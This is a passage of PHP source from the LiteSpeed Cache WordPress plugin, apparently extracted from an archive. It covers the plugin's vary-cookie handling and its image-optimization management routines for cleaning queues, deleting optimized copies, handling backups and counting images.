self::debug( 'can_change_vary bypassed due to crawler' ); return false; } if ( ! apply_filters( 'litespeed_can_change_vary', true ) ) { self::debug( 'can_change_vary bypassed due to litespeed_can_change_vary hook' ); return false; } return true; } /** * Update default vary cookie (idempotent within a request). * * @since 1.6.2 * @since 1.6.6.1 Guard to ensure single run. * * @param int|false $uid User ID or false. * @param int|false $expire Expiration timestamp (default: +2 days). * @return void */ private function _update_default_vary( $uid = false, $expire = false ) { // Ensure header output only runs once. if ( ! defined( 'LITESPEED_DID_' . __FUNCTION__ ) ) { define( 'LITESPEED_DID_' . __FUNCTION__, true ); } else { self::debug2( '_update_default_vary bypassed due to run already' ); return; } // ESI shouldn't change vary (main page only). if ( defined( 'LSCACHE_IS_ESI' ) && LSCACHE_IS_ESI ) { self::debug2( '_update_default_vary bypassed due to ESI' ); return; } $vary = $this->finalize_default_vary( $uid ); $current_vary = self::has_vary(); if ( $current_vary !== $vary && 'commenter' !== $current_vary && $this->can_change_vary() ) { if ( ! $expire ) { $expire = time() + 2 * DAY_IN_SECONDS; } $this->_cookie( $vary, (int) $expire ); } } /** * Get the current vary cookie name. * * @since 1.9.1 * @return string */ public function get_vary_name() { return self::$_vary_name; } /** * Check if a user role is in a configured vary group. * * @since 1.2.0 * @since 3.0 Moved here from conf.cls. * * @param string $role User role(s), comma-separated. * @return int|string Group ID or 0. */ public function in_vary_group( $role ) { $group = 0; $vary_groups = $this->conf( Base::O_CACHE_VARY_GROUP ); $roles = explode( ',', $role ); $found = array_intersect( $roles, array_keys( (array) $vary_groups ) ); if ( $found ) { $groups = []; foreach ( $found as $curr_role ) { $groups[] = $vary_groups[ $curr_role ]; } $group = implode( ',', array_unique( $groups ) ); } elseif ( in_array( 'administrator', $roles, true ) ) { $group = 99; } if ( $group ) { self::debug2( 'role in vary_group [group] ' . $group ); } return $group; } /** * Finalize default vary cookie value for current user. * NOTE: Login process will also call this because it does not call wp hook as normal page loading. * * @since 1.6.2 * * @param int|false $uid Optional user ID. * @return false|string False for guests when no vary needed, or hashed vary. */ public function finalize_default_vary( $uid = false ) { // Bypass vary for guests where applicable (avoid non-guest filenames for assets). if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { return false; } $vary = []; if ( $this->conf( Base::O_GUEST ) ) { $vary['guest_mode'] = 1; } if ( ! $uid ) { $uid = get_current_user_id(); } else { self::debug( 'uid: ' . $uid ); } // Get user role/group. $role = Router::get_role( $uid ); if ( $uid > 0 ) { $vary['logged-in'] = 1; if ( $role ) { // Parse role group from settings. $role_group = $this->in_vary_group( $role ); if ( $role_group ) { $vary['role'] = $role_group; } } // Admin bar preference. $pref = get_user_option( 'show_admin_bar_front', $uid ); self::debug2( 'show_admin_bar_front: ' . var_export( $pref, true ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export $admin_bar = ( false === $pref || 'true' === $pref ); if ( $admin_bar ) { $vary['admin_bar'] = 1; self::debug2( 'admin bar : true' ); } } else { self::debug( 'role id: failed, guest' ); } /** * Filter vary entries before hashing. * * @since 1.6 Added for Role Excludes for optimization cls * @since 1.6.2 Hooked to webp (legacy) * @since 3.0 Used by 3rd hooks too */ $vary = apply_filters( 'litespeed_vary', $vary ); if ( ! $vary ) { return false; } ksort( $vary ); $list = []; foreach ( $vary as $key => $val ) { $list[] = $key . ':' . $val; } $res = implode( ';', $list ); if ( defined( 'LSCWP_LOG' ) ) { return $res; } // Encrypt in production. return md5( $this->conf( Base::HASH ) . $res ); } /** * Get hash of all varies that affect caching (current cookies + default + env). * * @since 4.0 * @return string */ public function finalize_full_varies() { $vary = $this->_finalize_curr_vary_cookies( true ); $vary .= $this->finalize_default_vary( get_current_user_id() ); $vary .= $this->get_env_vary(); return $vary; } /** * Get request environment vary value (from server variables). * * @since 4.0 * @return string|false */ public function get_env_vary() { $env_vary = isset( $_SERVER['LSCACHE_VARY_VALUE'] ) ? wp_unslash( (string) $_SERVER['LSCACHE_VARY_VALUE'] ) : false; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if ( ! $env_vary ) { $env_vary = isset( $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] ) ? wp_unslash( (string) $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] ) : false; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized } return $env_vary; } /** * Mark current user as commenter (called on comment submit). * * @since 1.1.6 * @return void */ public function append_commenter() { $this->add_commenter( true ); } /** * Add commenter vary (optionally from redirect). * * @since 1.1.3 * * @param bool $from_redirect Whether request is from redirect page. * @return void */ private function add_commenter( $from_redirect = false ) { // If the cookie is lost somehow, set it. if ( 'commenter' !== self::has_vary() ) { self::debug( 'Add commenter' ); // Save commenter status only for current domain path. $this->_cookie( 'commenter', time() + (int) apply_filters( 'comment_cookie_lifetime', 30000000 ), self::_relative_path( $from_redirect ) ); } } /** * Remove commenter vary if set. * * @since 1.1.3 * @return void */ private function remove_commenter() { if ( 'commenter' === self::has_vary() ) { self::debug( 'Remove commenter' ); $this->_cookie( false, false, self::_relative_path() ); } } /** * Generate a relative cookie path from current request. * * @since 1.1.3 * * @param bool $from_redirect When true, uses HTTP_REFERER; otherwise SCRIPT_URL. * @return string|false Path or false. */ private static function _relative_path( $from_redirect = false ) { $path = false; $tag = $from_redirect ? 'HTTP_REFERER' : 'SCRIPT_URL'; if ( ! empty( $_SERVER[ $tag ] ) ) { $parsed = wp_parse_url( wp_unslash( (string) $_SERVER[ $tag ] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $path = ! empty( $parsed['path'] ) ? $parsed['path'] : false; self::debug( 'Cookie Vary path: ' . ( $path ? $path : 'false' ) ); } return $path; } /** * Build the final X-LiteSpeed-Vary header for current request. * NOTE: Non caccheable page can still set vary ( for logged in process ). * * @since 1.0.13 * * @return string|void Header string or nothing when not needed. */ public function finalize() { // Finalize default vary for non-guest. if ( ! defined( 'LITESPEED_GUEST' ) || ! LITESPEED_GUEST ) { $this->_update_default_vary(); } $tp_cookies = $this->_finalize_curr_vary_cookies(); if ( ! $tp_cookies ) { self::debug2( 'no customized vary' ); return; } self::debug( 'finalized 3rd party cookies', $tp_cookies ); return self::X_HEADER . ': ' . implode( ',', $tp_cookies ); } /** * Get vary cookies (names or values JSON) added for current page. * * @since 1.0.13 * * @param bool $values_json When true, returns JSON array of cookie values; else cookie=name items. * @return array|string|false List of vary cookie items, JSON string, or false when none. */ private function _finalize_curr_vary_cookies( $values_json = false ) { global $post; $cookies = []; // No need to append default vary cookie name. if ( ! empty( $post->post_password ) ) { $postpass_key = 'wp-postpass_' . COOKIEHASH; if ( $this->_get_cookie_val( $postpass_key ) ) { self::debug( 'finalize bypassed due to password protected vary ' ); // If user has password cookie, do not cache & ignore existing vary cookies. Control::set_nocache( 'password protected vary' ); return false; } $cookies[] = $values_json ? $this->_get_cookie_val( $postpass_key ) : $postpass_key; } $cookies = apply_filters( 'litespeed_vary_curr_cookies', $cookies ); if ( $cookies ) { $cookies = array_filter( array_unique( $cookies ) ); self::debug( 'vary cookies changed by filter litespeed_vary_curr_cookies', $cookies ); } if ( ! $cookies ) { return false; } // Format cookie name data or value data. sort( $cookies ); // Maintain stable order for $values_json=true. foreach ( $cookies as $k => $v ) { $cookies[ $k ] = $values_json ? $this->_get_cookie_val( $v ) : 'cookie=' . $v; } return $values_json ? wp_json_encode( $cookies ) : $cookies; } /** * Get a cookie value safely. * * @since 4.0 * * @param string $key Cookie name. * @return false|string Cookie value or false. */ private function _get_cookie_val( $key ) { if ( ! empty( $_COOKIE[ $key ] ) ) { return wp_unslash( (string) $_COOKIE[ $key ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized } return false; } /** * Set or clear the vary cookie. * * If the vary cookie changed, mark page as non-cacheable for this response. * * @since 1.0.4 * * @param int|false $val Cookie value to set, or false to clear. * @param int $expire Expiration timestamp (ignored when $val is false). * @param string $path Cookie path (false to use COOKIEPATH). * @return void */ private function _cookie( $val = false, $expire = 0, $path = false ) { if ( ! $val ) { $expire = 1; } // HTTPS bypass toggle for clients using both HTTP/HTTPS. $is_ssl = $this->conf( Base::O_UTIL_NO_HTTPS_VARY ) ? false : is_ssl(); setcookie( self::$_vary_name, $val, (int) $expire, $path ? $path : COOKIEPATH, COOKIE_DOMAIN, $is_ssl, true ); self::debug( 'set_cookie ---> [k] ' . self::$_vary_name . ' [v] ' . ( false === $val ? 'false' : $val ) . ' [ttl] ' . ( (int) $expire - time() ) ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/img-optm-manage.trait.php�����������������������������������������������0000644�����������������00000075542�15233526476�0016677 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Image optimization management trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Img_Optm_Manage * * Handles image optimization management operations: clean, destroy, rescan, backup, batch_switch, etc. */ trait Img_Optm_Manage { /** * Check if an attachment has optimization records * * @since 7.8 * @access public * @param int $post_id The attachment post ID. * @param array|null $metadata Optional. Attachment metadata for file path check. * @return bool True if has optimization records. */ public function has_optm_record( $post_id, $metadata = null ) { global $wpdb; if ( ! $post_id ) { return false; } // Check post meta if ( get_post_meta( $post_id, self::DB_SIZE, true ) || get_post_meta( $post_id, self::DB_SET, true ) ) { return true; } // Check img_optm table (legacy) if ( $this->__data->tb_exist( 'img_optm' ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(1) FROM `$this->_table_img_optm` WHERE post_id = %d", $post_id ) ); if ( $count > 0 ) { return true; } } // Check img_optming table if ( $this->__data->tb_exist( 'img_optming' ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE post_id = %d", $post_id ) ); if ( $count > 0 ) { return true; } } // Check if optimized files exist (.webp, .avif) if ( null === $metadata ) { $metadata = wp_get_attachment_metadata( $post_id ); } if ( ! empty( $metadata['file'] ) ) { $short_file_path = $metadata['file']; if ( $this->__media->info( $short_file_path . '.webp', $post_id ) ) { return true; } if ( $this->__media->info( $short_file_path . '.avif', $post_id ) ) { return true; } } return false; } /** * Clean up all unfinished queue locally and to Cloud server * * @since 2.1.2 * @access public */ public function clean() { global $wpdb; // Reset img_optm table's queue if ( $this->__data->tb_exist( 'img_optming' ) ) { // Get min post id to mark $q = "SELECT MIN(post_id) FROM `$this->_table_img_optming`"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $min_pid = $wpdb->get_var( $q ) - 1; if ( $this->_summary['next_post_id'] > $min_pid ) { $this->_summary['next_post_id'] = $min_pid; self::save_summary(); } $q = "DELETE FROM `$this->_table_img_optming`"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $q ); } $msg = __( 'Cleaned up unfinished data successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Reset image counter * * @since 7.0 * @access private */ private function _reset_counter() { self::debug( 'reset image optm counter' ); $this->_summary['next_post_id'] = 0; self::save_summary(); $this->clean(); $msg = __( 'Reset image optimization counter successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Destroy all optimized images * * @since 3.0 * @access private */ private function _destroy() { global $wpdb; self::debug( 'executing DESTROY process' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; /** * Limit images each time before redirection to fix Out of memory issue. #665465 * * @since 2.9.8 */ // Start deleting files $limit = apply_filters( 'litespeed_imgoptm_destroy_max_rows', 500 ); $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); $i = 0; foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } ++$i; $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_destroy_optm_file( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_destroy_optm_file' ], $meta_value['sizes'] ); } } self::debug( 'batch switched images total: ' . $i ); ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { // Check if post_id is beyond next_post_id self::debug( '[next_post_id] ' . $this->_summary['next_post_id'] . ' [cursor post id] ' . $to_be_continued->post_id ); if ( $to_be_continued->post_id <= $this->_summary['next_post_id'] ) { self::debug( 'redirecting to next' ); return Router::self_redirect( Router::ACTION_IMG_OPTM, self::TYPE_DESTROY ); } self::debug( '🎊 Finished destroying' ); } // Delete postmeta info $q = "DELETE FROM `$wpdb->postmeta` WHERE meta_key = %s"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, self::DB_SIZE ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query( $wpdb->prepare( $q, self::DB_SET ) ); // Delete img_optm table $this->__data->tb_del( 'img_optm' ); $this->__data->tb_del( 'img_optming' ); // Clear options table summary info self::delete_option( '_summary' ); self::delete_option( self::DB_NEED_PULL ); $msg = __( 'Destroy all optimization data successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Destroy optm file * * @since 3.0 * @access private * @param array $meta_value The meta value array containing file info. * @param bool $is_ori_file Whether this is the original file. */ private function _destroy_optm_file( $meta_value, $is_ori_file = false ) { $short_file_path = $meta_value['file']; if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; } self::debug( 'deleting ' . $short_file_path ); // del webp $this->__media->info( $short_file_path . '.webp', $this->tmp_pid ) && $this->__media->del( $short_file_path . '.webp', $this->tmp_pid ); $this->__media->info( $short_file_path . '.optm.webp', $this->tmp_pid ) && $this->__media->del( $short_file_path . '.optm.webp', $this->tmp_pid ); // del avif $this->__media->info( $short_file_path . '.avif', $this->tmp_pid ) && $this->__media->del( $short_file_path . '.avif', $this->tmp_pid ); $this->__media->info( $short_file_path . '.optm.avif', $this->tmp_pid ) && $this->__media->del( $short_file_path . '.optm.avif', $this->tmp_pid ); $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); $local_filename = substr( $short_file_path, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // del optimized ori if ( $this->__media->info( $bk_file, $this->tmp_pid ) ) { self::debug( 'deleting optim ori' ); $this->__media->del( $short_file_path, $this->tmp_pid ); $this->__media->rename( $bk_file, $short_file_path, $this->tmp_pid ); } $this->__media->info( $bk_optm_file, $this->tmp_pid ) && $this->__media->del( $bk_optm_file, $this->tmp_pid ); } /** * Rescan to find new generated images * * @since 1.6.7 * @access private */ private function _rescan() { // phpcs:ignore Squiz.PHP.NonExecutableCode exit( 'tobedone' ); // phpcs:disable Squiz.PHP.NonExecutableCode global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $limit = 500; self::debug( 'rescan images' ); // Get images $q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a, `$wpdb->postmeta` b WHERE a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') AND a.ID = b.post_id AND b.meta_key = '_wp_attachment_metadata' ORDER BY a.ID LIMIT %d, %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $offset * $limit, $limit + 1 ) ); // last one is the seed for next batch if ( ! $list ) { $msg = __( 'Rescanned successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); self::debug( 'rescan bypass: no gathered image found' ); return; } if ( count( $list ) === $limit + 1 ) { $to_be_continued = true; array_pop( $list ); // last one is the seed for next round, discard here. } else { $to_be_continued = false; } // Prepare post_ids to inquery gathered images $pid_set = []; $scanned_list = []; foreach ( $list as $v ) { $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } $scanned_list[] = [ 'pid' => $v->post_id, 'meta' => $meta_value, ]; $pid_set[] = $v->post_id; } // Build gathered images $q = "SELECT src, post_id FROM `$this->_table_img_optm` WHERE post_id IN (" . implode( ',', array_fill( 0, count( $pid_set ), '%d' ) ) . ')'; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $pid_set ) ); foreach ( $list as $v ) { $this->_existed_src_list[] = $v->post_id . '.' . $v->src; } // Find new images foreach ( $scanned_list as $v ) { $meta_value = $v['meta']; // Parse all child src and put them into $this->_img_in_queue, missing ones to $this->_img_in_queue_missed $this->tmp_pid = $v['pid']; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_append_img_queue( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { foreach ( $meta_value['sizes'] as $img_size_name => $img_size ) { $this->_append_img_queue( $img_size, false, $img_size_name ); } } } self::debug( 'rescanned [img] ' . count( $this->_img_in_queue ) ); $count = count( $this->_img_in_queue ); if ( $count > 0 ) { // Save to DB $this->_save_raw(); } if ( $to_be_continued ) { return Router::self_redirect( Router::ACTION_IMG_OPTM, self::TYPE_RESCAN ); } $msg = $count ? sprintf( __( 'Rescanned %d images successfully.', 'litespeed-cache' ), $count ) : __( 'Rescanned successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); // phpcs:enable Squiz.PHP.NonExecutableCode } /** * Calculate bkup original images storage * * @since 2.2.6 * @access private */ private function _calc_bkup() { global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $limit = 500; if ( ! $offset ) { $this->_summary['bk_summary'] = [ 'date' => time(), 'count' => 0, 'sum' => 0, ]; } $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_get_bk_size( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_get_bk_size' ], $meta_value['sizes'] ); } } $this->_summary['bk_summary']['date'] = time(); self::save_summary(); self::debug( '_calc_bkup total: ' . $this->_summary['bk_summary']['count'] . ' [size] ' . $this->_summary['bk_summary']['sum'] ); ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { return Router::self_redirect( Router::ACTION_IMG_OPTM, self::TYPE_CALC_BKUP ); } $msg = __( 'Calculated backups successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Calculate single size * * @since 2.2.6 * @access private * @param array $meta_value The meta value array containing file info. * @param bool $is_ori_file Whether this is the original file. */ private function _get_bk_size( $meta_value, $is_ori_file = false ) { $short_file_path = $meta_value['file']; if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); $local_filename = substr( $short_file_path, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $img_info = $this->__media->info( $bk_file, $this->tmp_pid ); if ( ! $img_info ) { return; } ++$this->_summary['bk_summary']['count']; $this->_summary['bk_summary']['sum'] += $img_info['size']; } /** * Delete bkup original images storage * * @since 2.5 * @access public */ public function rm_bkup() { global $wpdb; if ( ! $this->__data->tb_exist( 'img_optming' ) ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $limit = 500; if ( empty( $this->_summary['rmbk_summary'] ) ) { $this->_summary['rmbk_summary'] = [ 'date' => time(), 'count' => 0, 'sum' => 0, ]; } $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_del_bk_file( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_del_bk_file' ], $meta_value['sizes'] ); } } $this->_summary['rmbk_summary']['date'] = time(); self::save_summary(); self::debug( 'rm_bkup total: ' . $this->_summary['rmbk_summary']['count'] . ' [size] ' . $this->_summary['rmbk_summary']['sum'] ); ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { return Router::self_redirect( Router::ACTION_IMG_OPTM, self::TYPE_RM_BKUP ); } $msg = __( 'Removed backups successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Delete single file * * @since 2.5 * @access private * @param array $meta_value The meta value array containing file info. * @param bool $is_ori_file Whether this is the original file. */ private function _del_bk_file( $meta_value, $is_ori_file = false ) { $short_file_path = $meta_value['file']; if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); $local_filename = substr( $short_file_path, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $img_info = $this->__media->info( $bk_file, $this->tmp_pid ); if ( ! $img_info ) { return; } ++$this->_summary['rmbk_summary']['count']; $this->_summary['rmbk_summary']['sum'] += $img_info['size']; $this->__media->del( $bk_file, $this->tmp_pid ); } /** * Count images * * @since 1.6 * @access public * @return array Image count data. */ public function img_count() { global $wpdb; $q = "SELECT count(*) FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $groups_all = $wpdb->get_var( $q ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $groups_new = $wpdb->get_var( $q . ' AND ID>' . (int) $this->_summary['next_post_id'] . ' ORDER BY ID' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $groups_done = $wpdb->get_var( $q . ' AND ID<=' . (int) $this->_summary['next_post_id'] . ' ORDER BY ID' ); $q = "SELECT b.post_id FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID DESC LIMIT 1 "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $max_id = $wpdb->get_var( $q ); $count_list = [ 'max_id' => $max_id, 'groups_all' => $groups_all, 'groups_new' => $groups_new, 'groups_done' => $groups_done, ]; // images count from work table if ( $this->__data->tb_exist( 'img_optming' ) ) { $q = "SELECT COUNT(DISTINCT post_id),COUNT(*) FROM `$this->_table_img_optming` WHERE optm_status = %d"; $groups_to_check = [ self::STATUS_RAW, self::STATUS_REQUESTED, self::STATUS_NOTIFIED, self::STATUS_ERR_FETCH ]; foreach ( $groups_to_check as $v ) { $count_list[ 'img.' . $v ] = 0; $count_list[ 'group.' . $v ] = 0; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared list( $count_list[ 'group.' . $v ], $count_list[ 'img.' . $v ] ) = $wpdb->get_row( $wpdb->prepare( $q, $v ), ARRAY_N ); } } return $count_list; } /** * Check if fetch cron is running * * @since 1.6.2 * @access public * @param bool $bool_res Whether to return boolean result. * @return bool|array Boolean result or array with last run time and status. */ public function cron_running( $bool_res = true ) { $last_run = ! empty( $this->_summary['last_pull'] ) ? $this->_summary['last_pull'] : 0; $is_running = $last_run && time() - $last_run < 120; if ( $bool_res ) { return $is_running; } return [ $last_run, $is_running ]; } /** * Update fetch cron timestamp tag * * @since 1.6.2 * @access private * @param bool $done Whether the cron job is done. */ private function _update_cron_running( $done = false ) { $this->_summary['last_pull'] = time(); if ( $done ) { // Only update cron tag when its from the active running cron if ( $this->_cron_ran ) { // Rollback for next running $this->_summary['last_pull'] -= 120; } else { return; } } self::save_summary(); $this->_cron_ran = true; } /** * Batch switch images to ori/optm version * * @since 1.6.2 * @access public * @param string $type The switch type (batch_switch_ori or batch_switch_optm). */ public function batch_switch( $type ) { if ( defined( 'LITESPEED_CLI' ) || wp_doing_cron() ) { $offset = 0; while ( 'done' !== $offset ) { Admin_Display::info( "Starting switch to $type [offset] $offset" ); $offset = $this->_batch_switch( $type, $offset ); } } else { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $new_offset = $this->_batch_switch( $type, $offset ); if ( 'done' !== $new_offset ) { return Router::self_redirect( Router::ACTION_IMG_OPTM, $type ); } } $msg = __( 'Switched images successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Switch images per offset * * @since 1.6.2 * @access private * @param string $type The switch type. * @param int $offset The current offset. * @return int|string Next offset or 'done'. */ private function _batch_switch( $type, $offset ) { global $wpdb; $limit = 500; $this->tmp_type = $type; $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); $i = 0; foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } ++$i; $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_switch_bk_file( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_switch_bk_file' ], $meta_value['sizes'] ); } } self::debug( 'batch switched images total: ' . $i . ' [type] ' . $type ); ++$offset; // phpcs:ignore 